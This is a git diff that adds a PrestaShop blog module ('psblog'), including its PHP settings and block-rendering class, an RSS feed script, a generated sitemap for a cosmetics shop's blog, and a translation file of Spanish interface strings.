self::getRewriteCode(Configuration::get('PS_LANG_DEFAULT')); + + $physical_uri = array(); + foreach (ShopUrl::getShopUrls() as $shop_url) { + if (in_array($shop_url->physical_uri, $physical_uri)) + continue; + + $rewrites = array(); + + foreach ($activeLanguages as $l) { + + $lang_rewrite = self::getRewriteCode($l['id_lang']); + if (trim($lang_rewrite) == '') { + $lang_rewrite = $default_lang_rewrite; + } + + if (!in_array($lang_rewrite, $rewrites)) { + $rewrites[] = $lang_rewrite; + + $rules .= "RewriteRule ^(.*)" . $lang_rewrite . "$ " . $shop_url->physical_uri . "index.php?fc=module&module=psblog&controller=posts [QSA,L] \n"; + $rules .= "RewriteRule ^(.*)" . $lang_rewrite . "/([0-9]+)\-([a-zA-Z0-9-]*) " . $shop_url->physical_uri . "index.php?fc=module&module=psblog&controller=posts&post=$2 [QSA,L] \n"; + $rules .= "RewriteRule ^(.*)" . $lang_rewrite . "/category/([0-9]+)\-([a-zA-Z0-9-]*) " . $shop_url->physical_uri . "index.php?fc=module&module=psblog&controller=posts&category=$2 [QSA,L] \n"; + } + } + + $physical_uri[] = $shop_url->physical_uri; + } + + $rules .= "#end_prestablog"; + + $path = _PS_ROOT_DIR_ . '/.htaccess'; + + if (is_writable($path)) { + + $existingRules = file_get_contents($path); + + if (strpos($existingRules, "start_prestablog")) { + preg_match_all("/#start_prestablog(.*)#end_prestablog/Usi", $existingRules, $strings); + if (is_array($strings) && isset($strings[0])) { + $existingRules = str_replace($strings[0], "", $existingRules); + } + } + + $handle = fopen($path, 'w'); + fwrite($handle, $rules . $existingRules); + fclose($handle); + } + } + } + + public function hookActionHtaccessCreate($params) { + $this->generateRewriteRules(); + } + + public function uninstall() { + /* * ** delete AdminPsblog tab *** */ + $tab_id = Tab::getIdFromClassName("AdminBlog"); + if ($tab_id) { + $tab = new Tab($tab_id); + $tab->delete(); + } + + /**** delete AdminPsblogPosts tab *** */ + $tab_id = Tab::getIdFromClassName("AdminBlogPosts"); + if ($tab_id) { + $tab = new Tab($tab_id); + $tab->delete(); + } + + /**** delete AdminPsblogCategory tab *** */ + $tab_id = Tab::getIdFromClassName("AdminBlogCategories"); + if ($tab_id) { + $tab = new Tab($tab_id); + $tab->delete(); + } + + /**** delete AdminPsblogComment tab *** */ + $tab_id = Tab::getIdFromClassName("AdminBlogComments"); + if ($tab_id) { + $tab = new Tab($tab_id); + $tab->delete(); + } + + /**** delete AdminPsblogStats tab *** */ + $tab_id = Tab::getIdFromClassName("AdminBlogStats"); + if ($tab_id) { + $tab = new Tab($tab_id); + $tab->delete(); + } + + /**** delete AdminPsblogConf tab *** */ + $tab_id = Tab::getIdFromClassName("AdminBlogConf"); + if ($tab_id) { + $tab = new Tab($tab_id); + $tab->delete(); + } + + @unlink(_PS_ROOT_DIR_ . "/img/t/AdminBlog.gif"); + + if (!Configuration::deleteByName('PSBLOG_CONF') OR !parent::uninstall()) + return false; + + Db::getInstance()->Execute("DROP TABLE `" . _DB_PREFIX_ . "blog_category`"); + Db::getInstance()->Execute("DROP TABLE `" . _DB_PREFIX_ . "blog_category_lang`"); + Db::getInstance()->Execute("DROP TABLE `" . _DB_PREFIX_ . "blog_post`"); + Db::getInstance()->Execute("DROP TABLE `" . _DB_PREFIX_ . "blog_post_lang`"); + Db::getInstance()->Execute("DROP TABLE `" . _DB_PREFIX_ . "blog_category_shop`"); + Db::getInstance()->Execute("DROP TABLE `" . _DB_PREFIX_ . "blog_post_shop`"); + Db::getInstance()->Execute("DROP TABLE `" . _DB_PREFIX_ . "blog_image`"); + Db::getInstance()->Execute("DROP TABLE `" . _DB_PREFIX_ . "blog_comment`"); + Db::getInstance()->Execute("DROP TABLE `" . _DB_PREFIX_ . "blog_category_relation`"); + Db::getInstance()->Execute("DROP TABLE `" . _DB_PREFIX_ . "blog_post_relation`"); + Db::getInstance()->Execute("DROP TABLE `" . _DB_PREFIX_ . "blog_visit`"); + + return true; + } + + public function hookHeader($params) { + $this->context->controller->addCSS($this->_path . 'psblog.css?v=2', 'all'); + } + + public function hookDisplayProductTab($params) { + $id_product = (int) Tools::getValue('id_product'); + $nb = BlogPost::listPosts(true, true, null, null, true, null, $id_product, null); + + if ($nb > 0) + return $this->display(__FILE__, 'product-tabtitle.tpl'); + } + + public function hookDisplayProductTabContent($params) { + + $id_product = (int) Tools::getValue('id_product'); + if (!$id_product) + return false; + + $list = BlogPost::listPosts(true, true, null, null, false, null, $id_product, null); + + $this->smarty->assign(array('post_product_list' => $list)); + return $this->display(__FILE__, 'product-tabcontent.tpl'); + } + + /** various product page hooks * */ + public function hookExtraLeft($params) { + return $this->hookProductTabContent($params); + } + + public function hookProductFooter($params) { + return $this->hookProductTabContent($params); + } + + public function hookExtra($params) { + return $this->hookProductTabContent($params); + } + + public function hookExtraRight($params) { + return $this->hookProductTabContent($params); + } + + public static function getPreferences() { + if (is_null(self::$pref)) { + $config = Configuration::get('PSBLOG_CONF'); + $options = self::$default_values; + + if ($config) + $options = array_merge($options, unserialize(base64_decode($config))); + self::$pref = $options; + } + return self::$pref; + } + + public static function getConfValue($value) { + $pref = self::getPreferences(); + return self::$pref[$value]; + } + + public static function blogIsAvailable() { + + $defaultCategory = new BlogCategory(1, $this->context->language->id); + if (is_null(self::$blogIsAvailable)) { + self::$blogIsAvailable = $defaultCategory->isAllowed(); + } + return self::$blogIsAvailable; + } + + public function checkServerConf() { + $pref = self::getPreferences(); + $this->warning = ''; + if (!is_writable(_PS_ROOT_DIR_ . '/' . $pref['img_save_path'])) { + $this->warning .= _PS_ROOT_DIR_ . '/' . $pref['img_save_path'] . ' ' . $this->l('must be writable') . "
        "; + } + if (!is_writable(_PS_ROOT_DIR_ . '/' . $pref['img_save_path'] . 'thumb/')) { + $this->warning .= _PS_ROOT_DIR_ . '/' . $pref['img_save_path'] . 'thumb/ ' . $this->l('must be writable') . "
        "; + } + if (!is_writable(_PS_ROOT_DIR_ . '/' . $pref['img_save_path'] . 'list/')) { + $this->warning .= _PS_ROOT_DIR_ . '/' . $pref['img_save_path'] . 'list/ ' . $this->l('must be writable') . "
        "; + } + } + + private function _postValidation() { + + $numericValues = array('img_width', 'img_list_width', 'list_limit_page', 'comment_min_time', 'comment_name_min_length', + 'img_block_width', 'block_limit_items', 'featured_block_limit'); + + if (Tools::isSubmit('submitPsblog')) { + + $pref = Tools::getValue('pref'); + + foreach ($numericValues as $val) { + if (trim($pref[$val]) == '' || !is_numeric($pref[$val])) { + $this->_postErrors[] = $val . ' ' . $this->l(' must be a numeric value'); + } + } + } + } + + private function _postProcess() { + if (Tools::isSubmit('submitPsblog')) { + $pref = Tools::getValue('pref'); + $old_values = self::getPreferences(); + + $checkboxes = array('category_active', 'product_active', 'comment_active', 'comment_moderate', + 'comment_guest', 'list_display_date', 'view_display_date', 'related_active', + 'view_display_popin', 'rewrite_active', 'product_page_related', 'rss_active', 'share_active', + 'block_display_date', 'block_articles_home', 'block_display_img', + 'block_display_subcategories', 'featured_block_home'); + + foreach ($checkboxes as $input) { + if (!isset($pref[$input])) + $pref[$input] = 0; + } + + $new_values = array_merge(self::$default_values, $pref); + Configuration::updateValue('PSBLOG_CONF', base64_encode(serialize($new_values))); + + if ($new_values['product_page_related'] != $old_values['product_page_related']) { + if ($new_values['product_page_related'] == 1) { + $this->registerHook('productTab'); + $this->registerHook('productTabContent'); + } else { + $this->unregisterHook(Hook::getIdByName('productTab')); + $this->unregisterHook(Hook::getIdByName('productTabContent')); + } + } + + $this->_html .= '
        ' . $this->l('Settings updated') . '
        '; + } elseif (Tools::isSubmit('submitGenerateImg')) { + + $images = BlogPost::getAllImages(); + $save_path = _PS_ROOT_DIR_ . '/' . rtrim(self::$pref['img_save_path'], '/') . "/"; + + foreach ($images as $img) { + + @unlink($save_path . 'thumb/' . $img['img_name']); + @unlink($save_path . 'list/' . $img['img_name']); + + BlogPost::generateImageThumbs($img['id_blog_image']); + } + + $this->_html .= '
        ' . $this->l('Images regenerated') . '
        '; + } elseif (Tools::isSubmit('submitGenerateSitemap')) { + include_once(_PS_MODULE_DIR_ . "psblog/classes/BlogShop.php"); + BlogShop::generateSitemap(); + $this->_html .= '
        ' . $this->l('Google sitemap regenerated') . '
        '; + } + } + + private function _displayForm() { + $values = (Tools::isSubmit('submitPsblog')) ? Tools::getValue('pref') : array_merge(self::$default_values, self::getPreferences()); + + $this->_html .=' + +
        +
        + ' . $this->l('General') . ' + + +
        + +
        +
        + + +
        + +
        +
        + + +
        + +
        +
        + + +
        + +
        + + +
        + +
        '; + + $this->_html .= ' +
        +
        '; + + $this->_html .= '
        + ' . $this->l('List settings') . ' + + +
        + +

        + + +
        + +

        + + +
        + px +
        '; + + $this->_html .= '

        '; + + $this->_html .= '
        ' . $this->l('View settings') . ' + +
        + px +

        + + +
        + +
        + +

        + + +
        + +
        + +

        '; + + $this->_html .= ' +
        + +
        + +
        +

        '; + + $this->_html .= '
        + ' . $this->l('Related products settings') . ' + + +
        + +

        '; + + $formats = ImageType::getImagesTypes(); + + $this->_html .= ' +
        + +
        '; + + $this->_html .= '

        '; + + $this->_html .= '
        + + ' . $this->l('Comments settings') . ' + + +
        + +
        + +

        + + +
        + +
        + +

        + + +
        + ' . $this->l('seconds') . ' +
        + +

        + + +
        + ' . $this->l('characters') . ' +
        '; + + $this->_html .= '
        '; + + $this->_html .= '

        '; + + $this->_html .= '
        + + ' . $this->l('RSS settings') . ' + + +
        + +
        '; + + $this->_html .= '

        '; + + /* * * Last posts Block ** */ + + $this->_html .= '
        ' . $this->l('Block last posts settings') . ' + + +
        + +
        +

        + + +
        + +
        +

        + + +
        +   ' . $this->l('instead of column') . ' +
        + +

        + + +
        + +
        +

        + + +
        + px +

        + +

        '; + + + $this->_html .= '
        ' . $this->l('Prestablog categories block settings') . ' + + +
        + +
        +

        + +

        '; + + + $this->_html .= '
        ' . $this->l('Prestablog featured block settings') . ' + + +
        + +
        +

        + + +
        +   ' . $this->l('instead of column') . ' +
        + +

        '; + + $blocks = array('block_left' => 'Left column', + 'block_right' => 'Right column', + 'block_footer' => 'Footer'); + + foreach ($blocks as $key => $legend) { + + $this->_html .= '
        ' . $legend . ''; + + $this->_html .= '
        '; + $this->_html .= ' +
        + + + + + + + +   ' . $this->l('Position') . ' +
        '; + + $this->_html .= ' +
        + + + + + + + +   ' . $this->l('Position') . ' + +
        '; + + $this->_html .= ' +
        + + + + + + + +   ' . $this->l('Position') . ' + +
        '; + + $this->_html .= '
        '; + $this->_html .= '
        '; + + $this->_html .= ' +
        + + + + + + + +   ' . $this->l('Position') . ' + +
        '; + + $this->_html .= ' +
        + + + + + + + +   ' . $this->l('Position') . ' + +
        '; + + $this->_html .= '
        '; + + $this->_html .= '

        '; + } + + $this->_html .= '

        '; + + $this->_html .= ''; + + $this->_html .= '


        '; + + $this->_html .= '
        + + ' . $this->l('Tools') . ' + +

        + +   ' . $this->l('Useful if you change the images sizes') . ' +

        '; + + if (self::isInstalled('gsitemap')) { + + $this->_html .= '

        + +   ' . _PS_BASE_URL_ . __PS_BASE_URI__ . 'modules/psblog/sitemap-blog.xml ' . ' +

        '; + } + + $this->_html .= '
        +

        + ' . $this->l('If url rewriting doesn\'t works, check that this above lines exist in your current .htaccess file, if no, add it manually on top of your .htaccess file') . ':

        + + '; + $default_lang_rewrite = self::getRewriteCode(Configuration::get('PS_LANG_DEFAULT')); + $physical_uri = array(); + foreach (ShopUrl::getShopUrls() as $shop_url) { + if (in_array($shop_url->physical_uri, $physical_uri)) + continue; + + $activeLanguages = Language::getLanguages(true); + + $rewrites = array(); + foreach ($activeLanguages as $l) { + + $lang_rewrite = self::getRewriteCode($l['id_lang']); + if (trim($lang_rewrite) == '') { + $lang_rewrite = $default_lang_rewrite; + } + if (!in_array($lang_rewrite, $rewrites)) { + $rewrites[] = $lang_rewrite; + + $this->_html .= "RewriteRule ^(.*)" . $lang_rewrite . "$ " . $shop_url->physical_uri . "index.php?fc=module&module=psblog&controller=posts [QSA,L]
        "; + $this->_html .= "RewriteRule ^(.*)" . $lang_rewrite . "/([0-9]+)\-([a-zA-Z0-9-]*) " . $shop_url->physical_uri . "index.php?fc=module&module=psblog&controller=posts&post=$2 [QSA,L]
        "; + $this->_html .= "RewriteRule ^(.*)" . $lang_rewrite . "/category/([0-9]+)\-([a-zA-Z0-9-]*) " . $shop_url->physical_uri . "index.php?fc=module&module=psblog&controller=posts&category=$2 [QSA,L]
        "; + $this->_html .= "
        "; + $physical_uri[] = $shop_url->physical_uri; + } + } + } + + $this->_html .= '
        +

        +
        '; + + $this->_html .= '
        +

        + ' . $this->l('To declare blog sitemap xml, add this line at the end of your robots.txt file') . ':

        + + Sitemap ' . _PS_BASE_URL_ . __PS_BASE_URI__ . 'modules/psblog/sitemap-blog.xml + +

        +
        '; + + $this->_html .= '
        + + '; + } + + public static function getRewriteConf() { + self::getPreferences(); + return self::$pref['rewrite_active']; + } + + public function getContent() { + $this->checkServerConf(); + if ($this->warning != '') { + $this->_html .= '
        ' . $this->warning . '
        '; + } + + $this->_html .= '

        ' . $this->l('Prestablog settings') . '

        '; + + $this->_html .= '

        ' . $this->l('If you want to add articles, you must go to the Blog tab on the navigation menu') . '

        '; + + $this->_postValidation(); + + if (!isset($this->_postErrors) || !sizeof($this->_postErrors)) { + $this->_postProcess(); + } else { + foreach ($this->_postErrors AS $err) + $this->_html .= '
        ' . $err . '
        '; + } + + $this->_displayForm(); + return $this->_html; + } + + public function hookRightColumn($params) { + return $this->getBlocks('block_right', $params); + } + + public function hookLeftColumn($params) { + return $this->getBlocks('block_left', $params); + } + + public function hookFooter($params) { + return $this->getBlocks('block_footer', $params); + } + + protected function getBlocks($block_type, $params) { + + if (self::$blogIsAvailable) + return ''; + + $pref = self::getPreferences(); + $output = ''; + $blocks = array( + array('name' => 'search', + 'order' => $pref[$block_type]['search_position'], + 'active' => (int) $pref[$block_type]['search'], + 'call' => 'blockSearch'), + array('name' => 'categories', + 'order' => $pref[$block_type]['categories_position'], + 'active' => (int) $pref[$block_type]['categories'], + 'call' => 'blockCategories'), + array('name' => 'posts', + 'order' => $pref[$block_type]['posts_position'], + 'active' => (int) $pref[$block_type]['posts'], + 'call' => 'blockLastPosts'), + array('name' => 'archives', + 'order' => $pref[$block_type]['archives_position'], + 'active' => (int) $pref[$block_type]['archives'], + 'call' => 'blockArchives'), + array('name' => 'featured', + 'order' => $pref[$block_type]['featured_position'], + 'active' => (int) $pref[$block_type]['featured'], + 'call' => 'blockFeatured')); + + $hookBlocks = array(); + foreach ($blocks as $b) + if ($b['active']) + $hookBlocks[] = $b; + + $orders = array(); + foreach ($hookBlocks as $key => $b) + $orders[$key] = $b['order']; + + array_multisort($orders, SORT_ASC, $hookBlocks); + + $this->smarty->assign('block_type', $block_type); + + foreach ($hookBlocks as $b) { + $output .= call_user_func(array($this, $b['call']), $params, $block_type); + } + + return $output; + } + + public function hookDisplayHome($params) { + if ((int) self::getConfValue('block_articles_home') == 1) + return $this->blockLastPosts($params, 'home'); + + if ((int) self::getConfValue('featured_block_home') == 1) + return $this->blockFeatured($params, 'home'); + } + + protected function blockLastPosts($params, $block_type) { + + $pref = self::getPreferences(); + + $is_home = Tools::getValue('controller') == 'index' ? true : false; + + $img_path = rtrim($pref['img_save_path'], '/') . '/'; + $list = BlogPost::listPosts(true, true, 0, intval($pref['block_limit_items'])); + + $this->smarty->assign(array('posts_list' => $list, + 'posts_conf' => $pref, + 'linkPosts' => BlogPost::linkList(), + 'posts_title' => $this->l('Last blog articles'), + 'posts_img_path' => _PS_BASE_URL_ . __PS_BASE_URI__ . $img_path, + 'posts_rss_url' => BlogPost::linkRss())); + + if ($is_home && $pref['block_articles_home'] == 1 && ($block_type == 'block_left' || $block_type == 'block_right')) { + return ''; + } elseif ($is_home && $pref['block_articles_home'] == 1 && $block_type == 'home') { + return $this->display(__FILE__, 'blockpostshome.tpl'); + } elseif ($block_type == 'block_footer') { + return $this->display(__FILE__, 'blockposts_footer.tpl'); + } else { + return $this->display(__FILE__, 'blockposts.tpl'); + } + } + + protected function blockCategories($params, $block_type) { + + if (!$this->getConfValue('category_active')) + return ''; + + $pref = self::getPreferences(); + $list = BlogCategory::listCategories(true, true, true, false, array(1,2)); + + if (Tools::getValue('controller') == "posts" && Tools::getIsset('category')) { + $current_category_id = (int) Tools::getValue('category'); + + $category = new BlogCategory($current_category_id, $this->context->language->id); + + if (!is_null($category->id_blog_category_parent) && !empty($category->id_blog_category_parent)) { + $current_category_id = $category->id_blog_category_parent; + } + + $this->smarty->assign('blog_category', $current_category_id); + } + + $this->smarty->assign(array('post_categories' => $list, 'blog_conf' => $pref)); + return $this->display(__FILE__, 'blockcategories.tpl'); + } + + protected function blockSearch($params, $block_type) { + + $pref = self::getPreferences(); + + if (Tools::getValue('search') != '') { + $search = Tools::getValue('search'); + $search_nb = BlogPost::searchPosts($search, true, true, true); + + $this->smarty->assign('search_query', $search); + $this->smarty->assign('search_query_nb', $search_nb); + } + + $rewrite = (Configuration::get('PS_REWRITING_SETTINGS')) ? true : false; + $this->smarty->assign('rewrite', $rewrite); + $this->smarty->assign('ENT_QUOTES', ENT_QUOTES); + $this->smarty->assign('linkPosts', BlogPost::linkList()); + + return $this->display(__FILE__, 'blocksearch.tpl'); + } + + protected function blockFeatured($params, $block_type) { + + $pref = self::getPreferences(); + + $is_home = Tools::getValue('controller') == 'index' ? true : false; + $img_path = rtrim($pref['img_save_path'], '/') . '/'; + + $category = new BlogCategory(2, $this->context->language->id); + $list = $category->getPosts(true, true, 0, intval($pref['featured_block_limit'])); + + $this->smarty->assign(array('posts_list' => $list, + 'posts_conf' => $pref, + 'posts_title' => $category->name, + 'linkPosts' => BlogPost::linkList(), + 'posts_img_path' => _PS_BASE_URL_ . __PS_BASE_URI__ . $img_path, + 'posts_rss_url' => BlogPost::linkRss())); + + if ($is_home && $pref['featured_block_home'] == 1 && ($block_type == 'block_left' || $block_type == 'block_right')) { + return ''; + } elseif ($is_home && $pref['featured_block_home'] == 1 && $block_type == 'home') { + return $this->display(__FILE__, 'blockpostshome.tpl'); + } elseif ($block_type == 'block_footer') { + return $this->display(__FILE__, 'blockposts_footer.tpl'); + } else { + return $this->display(__FILE__, 'blockposts.tpl'); + } + } + + protected function blockArchives($params, $block_type) { + + $pref = self::getPreferences(); + + $archives = BlogPost::getArchives(); + + $langMonths = array( + 1 => $this->l('January'), + 2 => $this->l('February'), + 3 => $this->l('March'), + 4 => $this->l('April'), + 5 => $this->l('May'), + 6 => $this->l('June'), + 7 => $this->l('July'), + 8 => $this->l('August'), + 9 => $this->l('September'), + 10 => $this->l('October'), + 11 => $this->l('November'), + 12 => $this->l('December')); + + $list = array(); + $i = 0; + foreach ($archives as $val) { + + if (!array_key_exists('year', $val) || !array_key_exists('month', $val)) + continue; + + $year = $val['year']; + $month = isset($langMonths[$val['month']]) ? $langMonths[$val['month']] : null; + + if (is_null($month) || is_null($year)) + continue; + + if (isset($list[$year])) + $list[$year]['nb'] += (int) $val['nb']; + else + $list[$year]['nb'] = (int) $val['nb']; + + if ($year == date('Y')) { + $list[$year]['months'][$val['month']]['name'] = $month; + $list[$year]['months'][$val['month']]['nb'] = $val['nb']; + } + } + + $linkPosts = (Configuration::get('PS_REWRITING_SETTINGS')) ? BlogPost::linkList() . '?' : BlogPost::linkList() . '&'; + $this->smarty->assign(array('blog_archives' => $list, 'blog_conf' => $pref, + 'posts_rss_url' => BlogPost::linkRss())); + $this->smarty->assign('linkPosts', $linkPosts); + return $this->display(__FILE__, 'blockarchives.tpl'); + } + + public static function getBlogConfigurationLink(){ + + $context = Context::getContext(); + + $tokenModules = Tools::getAdminToken('AdminModules' . (int) (Tab::getIdFromClassName('AdminModules')) . (int) $context->employee->id); + $blog_conf = 'index.php?controller=AdminModules&configure=psblog&module_name=psblog&token=' . $tokenModules; + + return $blog_conf; + } + +} \ No newline at end of file diff --git a/modules/psblog/rss.php b/modules/psblog/rss.php new file mode 100755 index 0000000..a784193 --- /dev/null +++ b/modules/psblog/rss.php @@ -0,0 +1,87 @@ +language = new Language($id_lang); +} + +if(!$conf['rss_active']){ + header('HTTP/1.1 404 Not Found'); + header('Status: 404 Not Found'); + header('Location: '._PS_BASE_URL_.__PS_BASE_URI__.'404.php'); +} + +header("Content-Type:text/xml; charset=utf-8"); +echo ''."\n"; +?> + + + + <![CDATA[<?php echo Configuration::get('PS_SHOP_NAME') ?>]]> + + + PrestaShop + language->id); ?> + + <![CDATA[<?php echo $context->shop->name; ?> Blog]]> + + + +language->id); + + echo "\t\t\n"; + echo "\t\t\t<![CDATA[".$post->title."]]>\n"; + echo "\t\t\t"; + + $img_relative = rtrim($conf['img_save_path'],'/')."/"; + $cdata = true; + + if($post->default_img['img_name'] != '' && is_file(_PS_ROOT_DIR_.'/'.$img_relative.'list/'.$post->default_img['img_name'])){ + echo 'default_img['img_name'].'" title="'.$post->title.'" alt="thumb" />'; + $cdata = false; + } + + if ($cdata) echo "content; + }else{ + $desc = "

        ".$post->excerpt."

        "; + } + + echo $desc."]]>
        \n"; + + echo "\t\t\t\n"; + echo "".$post->date_on.""; + echo "\t\t
        \n"; + } +?> +
        +
        \ No newline at end of file diff --git a/modules/psblog/sitemap-blog.xml b/modules/psblog/sitemap-blog.xml new file mode 100755 index 0000000..4bccf06 --- /dev/null +++ b/modules/psblog/sitemap-blog.xml @@ -0,0 +1,3 @@ + + +http://www.garancia-beauty.com/fr/blog0.7weeklyhttp://www.garancia-beauty.com/en/blog0.7weeklyhttp://www.garancia-beauty.com/fr/blog/49-le-grimoire-secret-de-saveria-jetez-vous-a-leau-avec-lortie-0.6monthlyhttp://www.garancia-beauty.com/en/blog/49-le-grimoire-secret-de-saveria-jetez-vous-a-leau-avec-lortie-0.6monthlyhttp://www.garancia-beauty.com/fr/blog/48-les-incroyables-secrets-de-l-algue0.6monthlyhttp://www.garancia-beauty.com/en/blog/48-les-incroyables-secrets-de-l-algue0.6monthlyhttp://www.garancia-beauty.com/fr/blog/47-saveria-et-marseille-son-enfance0.6monthlyhttp://www.garancia-beauty.com/en/blog/47-saveria-et-marseille-son-enfance0.6monthlyhttp://www.garancia-beauty.com/fr/blog/41-3-moments-insolites-ou-votre-eau-micellaire-est-indispensable-0.6monthlyhttp://www.garancia-beauty.com/en/blog/41-3-moments-insolites-ou-votre-eau-micellaire-est-indispensable-0.6monthlyhttp://www.garancia-beauty.com/fr/blog/45-les-merveilleux-pouvoirs-de-la-myrtille-0.6monthlyhttp://www.garancia-beauty.com/en/blog/45-les-merveilleux-pouvoirs-de-la-myrtille-0.6monthlyhttp://www.garancia-beauty.com/fr/blog/category/2-article-a-la-une0.6monthlyhttp://www.garancia-beauty.com/en/blog/category/2-blog-featured-posts0.6monthlyhttp://www.garancia-beauty.com/fr/blog/category/6-beaute0.6monthlyhttp://www.garancia-beauty.com/en/blog/category/6-beaute0.6monthlyhttp://www.garancia-beauty.com/fr/blog/category/3-botanique0.6monthlyhttp://www.garancia-beauty.com/en/blog/category/3-botanique0.6monthlyhttp://www.garancia-beauty.com/fr/blog/category/4-magie0.6monthlyhttp://www.garancia-beauty.com/en/blog/category/4-magie0.6monthlyhttp://www.garancia-beauty.com/fr/blog/category/7-mon-univers0.6monthlyhttp://www.garancia-beauty.com/en/blog/category/7-mon-univers0.6monthlyhttp://www.garancia-beauty.com/fr/blog/category/5-science0.6monthlyhttp://www.garancia-beauty.com/en/blog/category/5-science0.6monthly diff --git a/modules/psblog/translations/en.php b/modules/psblog/translations/en.php new file mode 100755 index 0000000..41097eb --- /dev/null +++ b/modules/psblog/translations/en.php @@ -0,0 +1,5 @@ +psblog_8fc03f099c564b3ee98ed9b4ac283849'] = 'Prestablog'; +$_MODULE['<{psblog}prestashop>psblog_4359ea8045accdf7beeb5ac64f89ee42'] = 'Módulo de blog, artículos, categorías, comentarios y productos relacionados'; +$_MODULE['<{psblog}prestashop>psblog_c6af1ada2bc0406cc5e34d77ef91bbe4'] = '¿Está seguro de que desea eliminar todos los artículos del blog, las categorías y los comentarios ?'; +$_MODULE['<{psblog}prestashop>psblog_be8df1f28c0abc85a0ed0c6860e5d832'] = 'Blog'; +$_MODULE['<{psblog}prestashop>psblog_47edbb9e6d6e6e874eb40c274a0e2e0f'] = 'Blog Artículos'; +$_MODULE['<{psblog}prestashop>psblog_3cfd94e5b1e020a2b88c15f49d57886e'] = 'Blog categorías'; +$_MODULE['<{psblog}prestashop>psblog_9f18ee985a83967e88020e0cd4c54264'] = 'Blog Comentarios'; +$_MODULE['<{psblog}prestashop>psblog_c4c95c36570d5a8834be5e88e2f0f6b2'] = 'Información'; +$_MODULE['<{psblog}prestashop>psblog_254f642527b45bc260048e30704edb39'] = 'Configuración'; +$_MODULE['<{psblog}prestashop>psblog_a9b036d3e91d53892d6a67c31327e456'] = 'Debe tener permisos de escritura'; +$_MODULE['<{psblog}prestashop>psblog_475fe604d38568b472158f340cad1806'] = 'debe ser un valor numérico'; +$_MODULE['<{psblog}prestashop>psblog_c888438d14855d7d96a2724ee9c306bd'] = 'Ajustes actualizados'; +$_MODULE['<{psblog}prestashop>psblog_ba7db09dcdb836ddf836fba46391c4b9'] = 'Imágenes regeneradas'; +$_MODULE['<{psblog}prestashop>psblog_25ee20a708de2b0d8dfcf84f8fbec602'] = 'Google sitemap regenerado'; +$_MODULE['<{psblog}prestashop>psblog_0db377921f4ce762c62526131097968f'] = 'General'; +$_MODULE['<{psblog}prestashop>psblog_170c933e5b73459c77b30f8f931dd0a3'] = 'Activar categorías'; +$_MODULE['<{psblog}prestashop>psblog_3a09d1361bbb211ed105d5429b96b8e8'] = 'Activar productos relacionados'; +$_MODULE['<{psblog}prestashop>psblog_3a35a6121f907ae9259eac88acf5ecc0'] = 'Activar comentarios'; +$_MODULE['<{psblog}prestashop>psblog_67dad6b3e543cc976cba0085d1e94b3b'] = 'Activar los artículos relacionados'; +$_MODULE['<{psblog}prestashop>psblog_ddc06455e692e867574f72093664f9a3'] = 'Activar RSS'; +$_MODULE['<{psblog}prestashop>psblog_e9c57d0c885664ad1d4e13589cfb594a'] = 'Ajustes de las listas de artículos'; +$_MODULE['<{psblog}prestashop>psblog_411f31d3d8f3266163725a6742a97c1f'] = 'Número de artículos por página'; +$_MODULE['<{psblog}prestashop>psblog_8e9784d40744d554a0e8a7b8000d2e1c'] = 'Mostrar fecha'; +$_MODULE['<{psblog}prestashop>psblog_c5ea083915894eae3fed1536a7e435ab'] = 'Ancho de las imágenes en las listas'; +$_MODULE['<{psblog}prestashop>psblog_a38b4c09544995170f877edbd61a9134'] = 'Ver la configuración'; +$_MODULE['<{psblog}prestashop>psblog_c63d9dbdd50b2e41df48f81c14bb8a1a'] = 'Ancho de las imágenes en el detalle del artículo '; +$_MODULE['<{psblog}prestashop>psblog_9ac8b6041ff786c98a2621a7ae9514ea'] = 'Activar la \"popin\" para las imágenes'; +$_MODULE['<{psblog}prestashop>psblog_c4885f3225502850399bda258916afb5'] = 'Activar Addthis'; +$_MODULE['<{psblog}prestashop>psblog_ba1cf1ed73ca2523d60e31e93fd3e42e'] = 'Configuración Productos relacionados'; +$_MODULE['<{psblog}prestashop>psblog_47a227265b479a1cbd341c2b720ced20'] = 'Activar los artículos relacionados en la página de producto'; +$_MODULE['<{psblog}prestashop>psblog_ecbb4644b3391c1819937120fef83e42'] = 'Imagen'; +$_MODULE['<{psblog}prestashop>psblog_19888b7bafb938360cab0cd3e6dfcd2f'] = 'Configuración de lo comentarios'; +$_MODULE['<{psblog}prestashop>psblog_9ca2adc05abbe3cc0a659a16fd7d5edc'] = 'Todos los comentarios deben ser validados por un empleado'; +$_MODULE['<{psblog}prestashop>psblog_66b06316f84eb73075bca0e27f2a5581'] = 'Permitir comentarios anónimos'; +$_MODULE['<{psblog}prestashop>psblog_2e53b6c4c0d39a73718342ab2366ae37'] = 'Tiempo mínimo entre 2 comentarios del mismo usuario'; +$_MODULE['<{psblog}prestashop>psblog_783e8e29e6a8c3e22baa58a19420eb4f'] = 'segundos'; +$_MODULE['<{psblog}prestashop>psblog_297cfd59ee83c1265e540245ff3088a0'] = 'Numero de caracteres mínimo del nombre de usuario'; +$_MODULE['<{psblog}prestashop>psblog_2593c7ce3ff937293feb1e61c152e551'] = 'Caracteres '; +$_MODULE['<{psblog}prestashop>psblog_376af8d431de78ef7e1a7aa315e4181f'] = 'Configuración RSS'; +$_MODULE['<{psblog}prestashop>psblog_915031b162ffa226f96bd6f03fae9897'] = 'Campo utilizado para el contenido'; +$_MODULE['<{psblog}prestashop>psblog_6ca8bf4766b9dc7b1ea8b69562faac3f'] = 'Extracto'; +$_MODULE['<{psblog}prestashop>psblog_f15c1cae7882448b3fb0404682e17e61'] = 'Contenido'; +$_MODULE['<{psblog}prestashop>psblog_4f7ac166120adba64ad84f4e0f0e64d3'] = 'Configuración '; +$_MODULE['<{psblog}prestashop>psblog_a97ed15ac9ea1b484219f5f1d3302559'] = 'Nombre de artículos para mostrar'; +$_MODULE['<{psblog}prestashop>psblog_e19d6dfda1bd423b4992b8ffee122d6d'] = ' Página de Inicio, bloque en el centro'; +$_MODULE['<{psblog}prestashop>psblog_02fbc93b5381410b66801e7fd519ee30'] = 'en lugar de la columna'; +$_MODULE['<{psblog}prestashop>psblog_689fdcddfb318e892e3bb79d963cf44e'] = 'Mostrar imágenes'; +$_MODULE['<{psblog}prestashop>psblog_6fed80a8c8ded2f5e14a687e4a443abc'] = 'Ancho de la imagen'; +$_MODULE['<{psblog}prestashop>psblog_5cabaf9ae683ef3f3b8da29b3b98d6fa'] = 'Prestablog bloque categorías ajustes'; +$_MODULE['<{psblog}prestashop>psblog_638c5a51a25a56ae4b8d6fa975be0d59'] = 'Mostrar subcategorías'; 